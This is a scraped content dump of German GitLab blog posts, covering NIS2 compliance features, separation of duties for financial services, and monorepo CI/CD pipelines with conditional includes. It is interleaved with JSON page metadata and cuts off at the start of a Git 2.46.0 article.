Git für die Verhinderung von Missbrauch](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) benachrichtigt Administrator(inn)en automatisch, wenn ein(e) Benutzer(in) mehr als eine bestimmte Anzahl von Repositories einer Gruppe in einem bestimmten Zeitraum herunterlädt, klont, pullt, abruft oder forked. Unternehmen können noch einen Schritt weiter gehen und automatische Sperren einrichten, um Benutzer(innen) nach Verstößen aus der Gruppe und ihren Untergruppen zu verbannen. Die Ratenbegrenzung von Git für die Verhinderung von Missbrauch ist in GitLab-Ultimate-Abonnements enthalten.\n -  Das Thema “erkannte Sicherheitslücken” wird im [Sicherheitslückenbericht](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) von GitLab noch weiter vertieft und enthält auch Informationen über Sicherheitslücken aus Scans des Standard-Branchs. Wenn du dich für die Sicherheitslückenberichte interessierst, hol dir das GitLab-Ultimate-Abonnement noch heute.\n\n![Sicherheitslückenbericht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.32.02.png)\n\n**Abschnitt 2(j) – Verwendung von Lösungen zur Multi-Faktor-Authentifizierung oder kontinuierlichen Authentifizierung, gesicherte Sprach-, Video- und Textkommunikation sowie gegebenenfalls gesicherte Notfallkommunikationssysteme innerhalb der Einrichtung.**\n\nGitLab bietet mehrere Multi-Faktor-Authentifizierungsoptionen, um einen strengeren Authentifizierungsprozess zu unterstützen. Kund(inn)en können die [Multi-Faktor-Authentifizierungsoption](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) nutzen, die ihren Anforderungen entspricht, oder sie können [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) implementieren, um den Authentifizierungsprozess noch weiter zu verbessern.\n\n## Wie geht es weiter mit NIS2?\n\nDie Mitgliedstaaten haben zwar noch keine umfassenden Leitlinien als Reaktion auf die NIS2-Richtlinie erlassen, aber die GitLab-Plattform ist bereits jetzt gut gerüstet, um die Anforderungen für den Software-Entwicklungsprozess zu erfüllen, sobald diese eingeführt werden.\n\nWeitere Informationen zu den Funktionen in diesem Artikel findest du in unserer [Tutorial-Bibliothek](https://docs.gitlab.com/ee/tutorials/).\n\n> Um loszulegen, [melde dich für eine kostenlose Testversion von GitLab Ultimate an](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[1423],"2025-03-25","2024-08-20",[746,765,680],{"slug":2923,"featured":92,"template":682},"how-gitlab-helps-meet-nis2-requirements","content:de-de:blog:how-gitlab-helps-meet-nis2-requirements.yml","How Gitlab Helps Meet Nis2 Requirements","de-de/blog/how-gitlab-helps-meet-nis2-requirements.yml","de-de/blog/how-gitlab-helps-meet-nis2-requirements",{"_path":2929,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2930,"content":2936,"config":2944,"_id":2946,"_type":16,"title":2947,"_source":17,"_file":2948,"_stem":2949,"_extension":20},"/de-de/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"title":2931,"description":2932,"ogTitle":2931,"ogDescription":2932,"noIndex":6,"ogImage":2933,"ogUrl":2934,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2934,"schema":2935},"FinServ: So implementierst du die Funktion zur Aufgabentrennung von GitLab","Wie GitLab eine sichere Softwareentwicklung mit Aufgabentrennung im Finanzdienstleistungssektor gewährleistet, einschließlich der Einhaltung regulatorischer Rahmenbedingungen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097688/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097687913.png","https://about.gitlab.com/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"FinServ: So implementierst du die Funktion zur Aufgabentrennung von GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cherry Han\"},{\"@type\":\"Person\",\"name\":\"Gavin Peltz\"}],\n        \"datePublished\": \"2024-08-13\",\n      }",{"title":2931,"description":2932,"authors":2937,"heroImage":2933,"date":2940,"body":2941,"category":765,"tags":2942,"updatedDate":2943},[2938,2939],"Cherry Han","Gavin Peltz","2024-08-13","Während der gesamten Softwareentwicklung sind robuste Sicherheits- und Compliance-Maßnahmen erforderlich, insbesondere in Branchen wie Finanzdienstleistungen, in denen Datenintegrität und Einhaltung der Vorschriften nicht verhandelbar sind. Ein kritischer Aspekt bei der Einhaltung dieser Standards ist die **Aufgabentrennung (SoD, \"Segregation of Duties\")**.\n\n**SoD stellt sicher, dass keine Person die vollständige Kontrolle über einen Prozess vom Anfang bis zum Ende hat**, wodurch das Risiko von Fehlern und unbefugten Aktivitäten verringert wird. SoD verringert die Risiken der Software-Lieferkette, indem externe und böswillige Handlungen verhindert werden, die die Integrität des Softwareentwicklungsprozesses beeinträchtigen könnten.\n\n## Bedeutung von SoD in der Finanzdienstleistungsbranche\n\nIm Finanzdienstleistungssektor spielt SoD eine entscheidende Rolle beim Schutz sensibler Informationen und der Einhaltung der Vorschriften. So trägt SoD strategisch zur Branche bei:\n\n* **Risikominderung:** Durch die Verteilung der Verantwortlichkeiten auf verschiedene Rollen verringert SoD das Risiko von Fehlern, Betrug und unbefugten Aktivitäten, die die Systemintegrität oder die Einhaltung der Vorschriften beeinträchtigen könnten.\n* **Verbesserte Verantwortlichkeit:** Eine klare Aufteilung der Aufgaben garantiert, dass keine Person einen Prozess von Anfang bis Ende unabhängig initiieren, autorisieren und ausführen kann. Dies fördert Transparenz und Verantwortlichkeit, die für die Aufrechterhaltung des Vertrauens bei Stakeholdern und Aufsichtsbehörden von entscheidender Bedeutung sind.\n* **Einhaltung der Vorschriften:** SoD ist durch die Finanzvorschriften vorgeschrieben, sodass sensible Vorgänge unter Aufsicht und Kontrolle durchgeführt werden. Die Einhaltung dieser Standards vermeidet nicht nur Strafen, sondern schützt auch den Ruf des Unternehmens.\n* **Betriebliche Widerstandsfähigkeit:** Durch die Dezentralisierung der Entscheidungsfindung und -ausführung werden Unternehmen weniger anfällig für Störungen, die durch menschliche Fehler, böswillige Handlungen oder unerwartete Ereignisse verursacht werden.\n\n## GitLab für SoD und Best Practices\nGitLab bietet eine durchgängige Aufgabentrennung für den DevSecOps-Workflow.\n\n![FinServ SOD - Bild 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097695/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097695697.png)\n\nDas obige Diagramm veranschaulicht die Integration von Schlüsselelementen wie Genehmigungsrichtlinien für die Genehmigung von Merge Requests, geschützte Funktionen, Benutzerberechtigungen, Compliance-Frameworks und Audit-Ereignisse, die alle zusammenarbeiten, um die Prinzipien von SoD aufrechtzuerhalten. Jede dieser Komponenten wird in den folgenden Abschnitten beschrieben und zeigt, wie man eine sichere und konforme Entwicklungsumgebung einrichtet.\n\n### Merge-Request-Genehmigungsrichtlinien\n\nEine Herausforderung für die Finanzdienstleistungsbranche ist die Implementierung von Genehmigungsmechanismen, die verhindern, dass unbefugte oder unkontrollierte Änderungen integriert werden. Hier kommen [Merge-Request-Genehmigungsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) ins Spiel. Diese Richtlinien erzwingen die Aufgabentrennung zwischen Sicherheit und Entwicklung und verhindern, dass einzelne Entwickler(innen) ihre eigenen Codeänderungen genehmigen, wenn sie Schwachstellen enthalten, und dass Entwicklungsteams ihren Code ohne angemessene Aufsicht direkt in Produktivumgebungen bereitstellen. \n\nBei der Erstellung einer Richtlinie ist es ratsam zu überlegen, wer eine geeignete Person für die Genehmigung wäre. Dies kann als ein(e) einzelne(r) Benutzer(in), eine Gruppe wie das Anwendungssicherheitsteam oder ein Rollentyp wie ein(e) Betreuer(in) definiert werden. Um weitere Einschränkungen zu implementieren, beachte bitte diese wichtigen Richtlinienmerkmale:\n\n- Verhindern der Genehmigung durch den bzw. die Autor(in): Diese Richtlinie legt Leitlinien fest, sodass ein(e) Merge-Request-Autor(in) seine eigenen Änderungen nicht genehmigen kann. Indem diese Richtlinie eine unabhängige Überprüfung erfordert, hilft sie, Objektivität und Unparteilichkeit im Genehmigungsprozess aufrechtzuerhalten.\n\n- Verhindern von Genehmigungen durch Benutzer(innen), die Commits hinzufügen: Benutzer(innen), die Commits zu einem Merge Request hinzugefügt haben, werden ebenfalls daran gehindert, diesen zu genehmigen. Dadurch wird das Prinzip der unabhängigen Überprüfung weiter durchgesetzt, sodass Änderungen von Teammitgliedern überprüft werden, die nicht direkt an den Änderungen beteiligt sind.\n\n- Verhindern des Bearbeitens von Genehmigungsregeln: Um die Integrität des Genehmigungsprozesses aufrechtzuerhalten, ermöglicht GitLab Administrator(inn)en, das Bearbeiten von Genehmigungsregeln auf Projekt- oder Merge-Request-Ebene zu verhindern. Dies garantiert, dass einmal definierte Genehmigungsrichtlinien nicht von unbefugten Benutzer(inne)n umgangen oder geändert werden können.\n\n- Benutzerpasswort zum Genehmigen anfordern: Für eine zusätzliche Sicherheitsebene kann GitLab von Benutzer(inne)n verlangen, dass sie ihr Passwort eingeben, um einen Merge Request zu genehmigen. \n\nUm eine klare Aufgabentrennung aufrechtzuerhalten, ist es ratsam, [eine separate Hauptgruppe zu erstellen](https://docs.gitlab.com/ee/user/application_security/policies/#enforce-policies-globally-in-gitlab-dedicated-or-your-gitlab-self-managed-instance), die sich mit der Unterbringung deiner Sicherheitsrichtlinien befasst, einschließlich der Richtlinien für die Genehmigung von Merge Requests. Dieses Setup minimiert die Anzahl der Benutzer(innen), die Berechtigungen erben, und erzwingt eine strengere Kontrolle über die Richtlinienverwaltung. Von dieser separaten Gruppe aus kannst du auf der höchsten Gruppenebene, die mit deinen Zielen übereinstimmt, den Verwaltungsaufwand für Richtlinien reduziert und eine umfassende Abdeckung Ihrer Entwicklungsumgebung bietet, [Sicherheitsrichtlinienprojekte verlinken](https://docs.gitlab.com/ee/user/application_security/policies/#link-to-a-security-policy-project).\n\nDu solltest auch beachten, dass eine Richtlinie, die standardmäßig aktiviert ist, für alle Projekte innerhalb der verlinkten Gruppen, Untergruppen und einzelnen Projekte gilt. Wenn du Richtlinien selektiver durchsetzen möchtest, empfiehlt GitLab, deine Richtlinien auf ein [Compliance-Framework-Label](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) auszudehnen. In der Regel werden unsere stark regulierten Kund(inn)en Compliance-Labels entwerfen, die den regulatorischen Anforderungen entsprechen, wie „SOX“ und „PCI“. Dieser Link zu einem Framework ermöglicht es dem [nativen Compliance-Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/) auch, Sicherheitsrichtlinien zu verwalten, die auf verschiedene Anwendungsfälle zugeschnitten sind.\n\n### Compliance-Frameworks und -Kontrollen\n\nKund(inn)en in regulierten Branchen stehen vor großen Herausforderungen bei der Einhaltung der Vorschriften in großen Unternehmen. Manuelle Prozesse sind fehleranfällig, und die konsistente Durchsetzung von Richtlinien über Teams hinweg kann schwierig sein.\n\nDurch die Verwendung der Compliance-Frameworks von GitLab können Unternehmen Präventionsmaßnahmen automatisieren und verwalten, Risiken systematisch verwalten und die Einhaltung gesetzlicher Vorschriften nahtlos durchsetzen. Diese Frameworks können Sicherheitsprotokolle und benutzerdefinierte Jobs in jeder Pipeline erzwingen. \n\nUm die Compliance-Einstellungen auf Organisationsebene zu schützen, ermöglicht GitLab nur Gruppen- oder Projekteigentümer(innen), Compliance Frameworks hinzuzufügen oder zu entfernen. Diese Maßnahme verhindert, dass Entwicklungsteams oder Führungskräfte Compliance-Konfigurationen ohne die entsprechenden Berechtigungsstufen ändern, und bietet auf diese Weise eine zusätzliche Sicherheitsebene. Dabei sollte Folgendes beachtet werden: Wenn Personen mit Betreuerberechtigung eine Untergruppe erstellen können, werden sie zu Eigentümer(innen) der jeweiligen Untergruppe und können das Compliance-Framework ändern. Dies kann verhindert werden, indem [begrenzt wird, welche Personen Untergruppen erstellen können](https://docs.gitlab.com/ee/user/group/subgroups/#change-who-can-create-subgroups), und zwar unter den Berechtigungen und Gruppeneinstellungen.\n\n## SoD durch Berechtigungen und Rollen\n\nUm die Aufgabentrennung in der Finanzdienstleistungsbranche auf effektive Weise durchzusetzen, ist entscheidend, dass eine klare und präzise Zugriffskontrolle etabliert wird. GitLab bietet ein abgestuftes [Berechtigungsmodell](https://docs.gitlab.com/ee/user/permissions.html) mit vordefinierten Rollen, zum Beispiel Gast, Reporter(in), Entwickler(in), Betreuer(in) und Eigentümer(in). Jede Rolle verfügt über eine bestimmte Reihe von Berechtigungen, damit Personen ihre Aufgaben erfüllen können, ohne Grenzen zu überschreiten, was wiederum zu Interessenskonflikten oder Sicherheitsrisiken führen könnte. GitLab empfiehlt eine entsprechende Zuweisung der jeweiligen Rollen für einen [Zugriff gemäß dem Prinzip der geringsten Privilegien](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\nWas Unternehmen mit granularen Anforderungen betrifft (dies gilt besonders für alle, die GitLab Ultimate nutzen), bieten [benutzerdefinierte Rollen](https://docs.gitlab.com/ee/user/custom_roles.html) noch mehr Flexibilität. Diese Rollen ermöglichen Unternehmen, spezifische Berechtigungen festzulegen, die ganz auf ihre individuellen Workflows und Compliance-Anforderungen zugeschnitten sind. Dies ist besonders nützlich, wenn es darum geht, die Aufgabentrennung durchzusetzen, da auf diese Weise keine Person unvereinbare Aufgaben ausführen kann.\n\nEin gängiger Anwendungsfall ist die Notwendigkeit einer Bereitstellungsrolle – dies betrifft Personen, die Jobs bereitstellen müssen, aber keinen Zugriff für das Bearbeiten oder Pushen von Code haben sollten. GitLab berücksichtigt diese Anforderung durch den Einsatz von [geschützten Umgebungen](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments). Geschützte Umgebungen ermöglichen dir, [Gruppen einzuladen, die zur Bereitstellung von Jobs zugelassen wurden](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#deployment-only-access-to-protected-environments), während die Rolle der Nutzer(innen) auf Reporter(innen) beschränkt wird. Dabei sollte beachtet werden, dass der Bereitstellungsjob auch das Keyword für die Umgebung umfassen sollte. Mit dieser Konfiguration können Nutzer(innen) Jobs bereitstellen, ohne den Code bearbeiten zu können. Damit wird sichergestellt, dass die Compliance-Anforderungen erfüllt werden. \n\nDurch sorgfältige Festlegung und Durchsetzung von Rollen und Berechtigungen können Unternehmen eine sichere und konforme Entwicklungsumgebung schaffen. Wenn du deine Berechtigungen für Nutzer(innen) in einem breiteren Rahmen überprüfen möchtest, kannst du diesen [Bericht für Gruppenmitglieder](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/gitlab-group-member-report) nutzen, um festzustellen, wie viele Mitglieder einer Rolle in deiner Umgebung sind, und die nächsten Schritte entsprechend beurteilen.\n\n## Geschützte Funktionen\nGitLab bietet mehrere „geschützte” Funktionen, mit denen zusätzliche Ebenen für die Kontrolle über deinen Entwicklungsprozess durchgesetzt werden können. Diese Funktionen können entscheidend für die Aufrechterhaltung der SoD sein, sodass nur bestimmte Personen wesentliche Änderungen vornehmen können.\n\n- Geschützte Branches: Ein geschützter Branch beschränkt, welche Personen zum Branch pushen oder zusammenführen oder einen Push erzwingen können. Dies ist besonders vorteilhaft für Branches wie „Main“ oder „Produktion“. So können nur autorisierte Nutzer(innen) Änderungen vornehmen.\n- Geschützte Git-Tags: Diese Tags ermöglichen Kontrolle darüber, welche Personen zur Erstellung von Tags berechtigt sind. Dies verhindert versehentliche Updates oder Löschungen, nachdem das Tag erstellt wurde, sodass die Integrität deiner Versionsverwaltung erhalten bleibt.\n- Geschützte Umgebungen: Der Schutz bestimmter Umgebungen (besonders Produktionen) vor unbefugtem Zugriff ist unerlässlich. In einer geschützten Umgebung können nur Nutzer(innen) mit den entsprechenden Berechtigungen bereitstellen, wodurch die Umgebung vor unbeabsichtigten Änderungen geschützt wird. Dies basiert auf der bereits erwähnten Funktionalität der Bereitstellungsrolle, bei der Personen zwar Jobs bereitstellen, aber den Code nicht bearbeiten können, sodass Compliance und Sicherheit gewährleistet werden.\n- Geschützte Pakete: Mithilfe von Schutzregeln für Pakete wird eingeschränkt, welche Nutzer(innen) Änderungen an deinen Paketen vornehmen können. \nDiese geschützten Funktionen tragen zusammen zur Aufrechterhaltung einer sicheren und konformen Entwicklungsumgebung bei, die mit den Grundsätzen der SoD übereinstimmt.\n\n## Audit Event und Compliance Center\nNachdem wir nun die Approvalrichtlinien, Compliance Frameworks, Rollen und geschützten Funktionen behandelt haben, kommen wir zum letzten Schritt: die Frage, wie du mithilfe von GitLab diese Implementierungen überwachen und überprüfen kannst, um die Einhaltung sicherzustellen. \n\nGitLabs [Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) bieten Eigentümer(innen) und Administrator(innen) eine detaillierte Aufzeichnung der Aktivitäten und Änderungen, darunter die Aktivität der Nutzer(innen) und Projektänderungen. Diese Protokollierung ist entscheidend, wenn es darum geht, die Aktionen der Nutzer(innen) zu verfolgen und unbefugtes Verhalten zu erkennen. \n\nDas [Streaming von Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) verbessert diesen Aspekt zusätzlich, indem es Unternehmen ermöglicht, Audit Events zur Echtzeitanalyse und Alarme an externe Systeme zu streamen. Auf diese Weise werden jegliche Änderungen oder Verstöße erkannt, was wiederum eine schnelle Behebung ermöglicht.\n\nDas [Compliance Center in GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/) ist ein zentraler Punkt für die Verwaltung und Überwachung von Compliance-Aktivitäten. Es bietet einen Überblick zum Compliance-Status über diverse Projekte und Gruppen hinweg und zeigt Verstöße gegen die Approvalregeln für Merge Requests oder andere Richtlinien. Administrator(innen) können Probleme direkt beheben und sich vergewissern, dass die vordefinierten Compliance-Standards eingehalten werden. Dieser zentralisierte Ansatz vereinfacht das Compliance-Management, wobei ein hohes Maß an Beaufsichtigung und Kontrolle gewährleistet wird.\n\n> Weitere Informationen von GitLab zu den Themen SoD und Compliance findest du unter [GitLab-Regulierung der Produktrichtung](https://about.gitlab.com/direction/govern/) und der [GitLab-Compliance-Dokumentation](https://docs.gitlab.com/ee/administration/compliance.html). \n\n## Weiterlesen\n\n- [Erfülle regulatorische Standards mit dem Compliance- und Sicherheitsrichtlinien-Management von GitLab](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/) (Englischsprachiger Artikel)\n- [Die Erstellung von GitLab mithilfe von GitLab: Erweiterung unseres Portfolios an Sicherheitszertifizierungen](https://about.gitlab.com/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio/) (Englischsprachiger Artikel)\n- [Der Online-Händler Bol erfüllt die wachsenden Compliance-Anforderungen mit GitLab](https://about.gitlab.com/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab/) (Englischsprachiger Artikel)",[765,746,680,557],"2025-04-22",{"slug":2945,"featured":6,"template":682},"finserv-how-to-implement-gitlabs-separation-of-duties-features","content:de-de:blog:finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","Finserv How To Implement Gitlabs Separation Of Duties Features","de-de/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","de-de/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"_path":2951,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2952,"content":2957,"config":2963,"_id":2965,"_type":16,"title":2966,"_source":17,"_file":2967,"_stem":2968,"_extension":20},"/de-de/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way",{"title":2953,"description":2954,"ogTitle":2953,"ogDescription":2954,"noIndex":6,"ogImage":2312,"ogUrl":2955,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2955,"schema":2956},"Einfaches Erstellen einer GitLab-CI/CD-Pipeline für ein Monorepo","Erfahre, wie du eine GitLab-CI/CD-Pipeline für ein Monorepo erstellst, um mehrere Anwendungen in einem Repository zu hosten.","https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Einfaches Erstellen einer GitLab-CI/CD-Pipeline für ein Monorepo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Morris\"}],\n        \"datePublished\": \"2024-07-30\",\n      }",{"title":2953,"description":2954,"authors":2958,"heroImage":2312,"date":2960,"body":2961,"category":847,"tags":2962,"updatedDate":1714},[2959],"Sam Morris","2024-07-30","Mit Monorepos kannst du den Code von mehreren Anwendungen in einem einzigen Repository hosten. In GitLab bedeutet das, dass du den Quellcode verschiedener Anwendungen in getrennten Verzeichnissen in einem Projekt ablegen musst. So kannst du zwar deinen Code versionskontrolliert speichern, aber die [CI/CD-Pipeline von GitLab](https://about.gitlab.com/de-de/topics/ci-cd/) nicht voll ausschöpfen … bis jetzt!\n\n## Der Idealfall: CI/CD in einem Monorepo\n\nDa du mehr als den Code einer Anwendung in deinem Repository hast, wirst du mehr als eine Pipeline-Konfiguration benötigen. Wenn du z. B. eine .NET-Anwendung und eine Spring-Anwendung in einem Projekt hast, kann es sein, dass für jede Anwendung unterschiedliche Build- und Testjobs ausgeführt werden müssen. Im Idealfall kannst du die Pipelines vollständig entkoppeln und jede Pipeline nur auf der Grundlage von Änderungen am Quellcode der jeweiligen Anwendung ausführen.\n\nDer technische Ansatz hierfür wäre eine `.gitlab-ci.yml`-Pipeline-Konfigurationsdatei auf Projektebene, die eine bestimmte YAML-Datei enthält, die auf Änderungen in einem bestimmten Verzeichnis basiert. Die `.gitlab-ci.yml`-Pipeline dient als Steuerungsebene, die auf der Grundlage der Änderungen am Code die entsprechende Pipeline anstößt.\n\n## Der Legacy-Ansatz\n\nVor GitLab 16.4 war es nicht möglich, eine YAML-Datei bei Änderungen an einem Verzeichnis oder einer Datei in einem Projekt einzubinden. Wir konnten diese Funktionalität jedoch mit einem Workaround realisieren.\n\nIn unserem Monorepo-Projekt haben wir zwei Verzeichnisse für verschiedene Anwendungen. In diesem Beispiel gibt es die Verzeichnisse `java` und `python`, die jeweils eine Java- und eine Python-Anwendung repräsentieren. Jedes Verzeichnis hat eine anwendungsspezifische YAML-Datei, um jede App zu bauen. In der Pipeline-Datei des Projekts binden wir einfach beide Anwendungspipeline-Dateien ein und führen die logische Verarbeitung direkt in diesen Dateien durch.\n\n`.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\ntop-level-job:\n  stage: build\n  script:\n    - echo \"Hello world...\"\n\ninclude:\n  - local: '/java/j.gitlab-ci.yml'\n  - local: '/python/py.gitlab-ci.yml'\n\n```\n\nIn jeder anwendungsspezifischen Pipeline-Datei erstellen wir einen versteckten Auftrag mit dem Namen .java-common oder .python-common, der nur ausgeführt wird, wenn es Änderungen im Verzeichnis der jeweiligen Anwendung gibt. [Versteckte Jobs (nur in englischer Sprache verfügbar](https://docs.gitlab.com/ee/ci/jobs/#hide-jobs) werden standardmäßig nicht ausgeführt und werden oft verwendet, um bestimmte Jobkonfigurationen wiederzuverwenden. Jede Pipeline erweitert diesen versteckten Job, um die Regeln zu übernehmen, die festlegen, welche Dateien auf Änderungen überwacht werden sollen, die dann den Pipeline-Job auslösen.\n\n`j.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\n.java-common:\n  rules:\n    - changes:\n      - '../java/*'\n\njava-build-job:\n  extends: .java-common\n  stage: build\n  script:\n    - echo \"Building Java\"\n\njava-test-job:\n  extends: .java-common\n  stage: test\n  script:\n    - echo \"Testing Java\"\n\n```\n\n`py.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\n.python-common:\n  rules:\n    - changes:\n      - '../python/*'\n\npython-build-job:\n  extends: .python-common\n  stage: build\n  script:\n    - echo \"Building Python\"\n\npython-test-job:\n  extends: .python-common\n  stage: test\n  script:\n    - echo \"Testing Python\"\n\n```\n\nDas hat einige Nachteile, z. B. muss der Job für jeden anderen Job in der YAML-Datei erweitert werden, um sicherzustellen, dass er mit den Regeln übereinstimmt, was eine Menge redundanten Code und Raum für menschliche Fehler schafft. Außerdem können erweiterte Jobs keine doppelten Schlüssel haben, so dass du nicht in jedem Job deine eigene `rules`-Logik definieren kannst, da es zu einer Kollision der Schlüssel kommen würde und ihre [Werte nicht zusammengeführt werden (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/yaml/index.html#extends). \n\nDas führt dazu, dass eine Pipeline ausgeführt wird, die die `j.gitlab-ci.yml`-Jobs enthält, wenn `java/` aktualisiert wird, und `py.gitlab-ci.yml`-Jobs, wenn `python/` aktualisiert wird.\n\n## Der neue Ansatz: Bedingtes Einbeziehen von Pipeline-Dateien\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6phvk8jioAo?si=y6ztZODvUtM-cHmZ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nIn GitLab 16.4 haben wir [`include` mit `rules:changes` für Pipelines (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/yaml/includes.html#include-with-ruleschanges) eingeführt. Bisher konntest du `include` mit `rules:if` verwenden, aber nicht mit `rules:changes`. Das macht diese Aktualisierung extrem effizient. Jetzt kannst du einfach das Schlüsselwort `include` verwenden und die Monorepo-Regeln in deiner Projekt-Pipeline-Konfiguration definieren.\n\nNeue `.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n\ntop-level-job:\n  stage: build\n  script:\n    - echo \"Hello world...\"\n\ninclude:\n  - local: '/java/j.gitlab-ci.yml'\n    rules:\n      - changes:\n        - 'java/*'\n  - local: '/python/py.gitlab-ci.yml'\n    rules:\n      - changes:\n        - 'python/*'\n\n```\n\nJetzt kann sich die YAML jeder Anwendung nur noch auf das Erstellen und Testen des Codes dieser Anwendung konzentrieren, ohne dass ein versteckter Job wiederholt erweitert werden muss. Das ermöglicht mehr Flexibilität bei der Definition von Jobs und reduziert das Neuschreiben von Code für Entwickler(innen).\n\nNeue `j.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\njava-build-job:\n  stage: build\n  script:\n    - echo \"Building Java\"\n\njava-test-job:\n  stage: test\n  script:\n    - echo \"Testing Java\"\n\n```\n\nNeue `py.gitlab-ci.yml`:\n```\nstages:\n  - build\n  - test\n  - deploy\n\npython-build-job:\n  stage: build\n  script:\n    - echo \"Building Python\"\n\npython-test-job:\n  stage: test\n  script:\n    - echo \"Testing Python\"\n\n```\n\nDamit werden die Java- und Python-Jobs nur dann einbezogen, wenn ihre Verzeichnisse geändert werden. Bei deiner Implementierung solltest du bedenken, dass [Jobs unerwartet ausgeführt werden können, wenn du `changes` verwendest (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/jobs/job_troubleshooting.html#jobs-or-pipelines-run-unexpectedly-when-using-changes). Die Regel „changes“ wird immer als wahr interpretiert, wenn ein neuer Branch oder ein neues Tag in GitLab gepusht wird, so dass alle Jobs unabhängig von der Definition von `rules:changes` beim ersten Push in einen Branch ausgeführt werden. Du kannst dieses Problem umgehen, indem du zuerst deinen Feature-Branch erstellst und dann eine Merge Request öffnest, um mit der Entwicklung zu beginnen, da der erste Push auf den Branch, wenn er erstellt wird, alle Jobs zur Ausführung zwingt.\n\nLetztlich sind Monorepos eine Strategie, die mit GitLab und CI/CD genutzt werden kann. Mit unserer neuen Funktion `include` mit `rules:changes` haben wir eine bessere bewährte Methode für die Nutzung von GitLab CI mit Monorepos. Um Monorepos zu verwenden, hol dir noch heute eine kostenlose Testversion von Gitlab Ultimate.\n\n## Weitere CI/CD-Ressourcen\n\n* [5 Tipps für die Verwaltung von Monorepos in GitLab (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/tips-for-managing-monorepos-in-gitlab/)\n* [Der schnelle Einstieg in CI/CD (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/how-to-learn-ci-cd-fast/)",[110,767],{"slug":2964,"featured":6,"template":682},"building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way","content:de-de:blog:building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way.yml","Building A Gitlab Ci Cd Pipeline For A Monorepo The Easy Way","de-de/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way.yml","de-de/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way",{"_path":2970,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2971,"content":2976,"config":2982,"_id":2984,"_type":16,"title":2985,"_source":17,"_file":2986,"_stem":2987,"_extension":20},"/de-de/blog/whats-new-in-git-2-46-0",{"title":2972,"description":2973,"ogTitle":2972,"ogDescription":2973,"noIndex":6,"ogImage":2709,"ogUrl":2974,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2974,"schema":2975},"Was gibt es Neues in Git 2.46.0?","Hier findest du die Highlights, die das Git-Team von GitLab und die breitere Git-Community zum Release beigetragen haben. Freu dich unter anderem auf Migrationstools für das Referenz-Backend und Unterstützung für symbolische Referenzen in Transaktionen.","https://about.gitlab.com/blog/whats-new-in-git-2-46-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was gibt es Neues in Git 2.46.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Justin Tobler\"}],\n        \"datePublished\": \"2024-07-29\",\n      }\n                  ",{"title":2972,"description":2973,"authors":2977,"heroImage":2709,"date":2978,"body":2979,"category":1033,"tags":2980,"updatedDate":2981},[1380],"2024-07-29","Das 